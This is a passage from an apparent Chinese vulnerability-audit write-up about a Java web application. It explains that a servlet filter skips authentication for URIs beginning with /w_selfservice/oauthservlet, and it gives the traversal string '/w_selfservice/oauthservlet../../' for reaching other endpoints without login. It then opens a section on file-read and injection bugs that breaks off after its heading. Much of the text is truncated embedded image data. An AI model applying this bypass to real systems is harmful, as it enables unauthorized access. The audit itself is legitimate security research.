<p blockindex=4><img src="data:image/png;base64,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 truncated
|
||||
查看代码,<code>var3.doFilter(var1, var2);</code>这行代码是调用FilterChain对象的<code>doFilter</code>方法,将ServletRequest对象和ServletResponse对象传递给下一个过滤器或Servlet进行处理。在Servlet过滤器中,通过调用<code>FilterChain</code>的<code>doFilter</code>方法,可以将请求传递给过滤器链中的下一个过滤器,或者如果没有下一个过滤器了,则传递给Servlet进行处理。</p>
|
||||
<p blockindex=5><img src="data:image/png;base64,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 truncated
|
||||
<img src="data:image/png;base64,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 truncated
|
||||
在这个例子中,若var6也就是uri是以/w_selfservice/oauthservlet开头的,即执行<code>var3.doFilter(var1, var2);</code>。那么当我访问其他接口。则使用/w_selfservice/oauthservlet../../即可绕过鉴权</p>
|
||||
<h2 blockindex=6>0x02 漏洞审计</h2>
|
||||
<p blockindex=7>在此,以最近爆出的DisplayFiles文件读取和showmediainfo注入为例开始审计。</p>
|
||||
<h3 blockindex=8>DisplayFiles文件读取</h3>
|
||||
<p blockindex=9>web.xml搜索DisplayFiles,定位到代码:</p>
|
||||
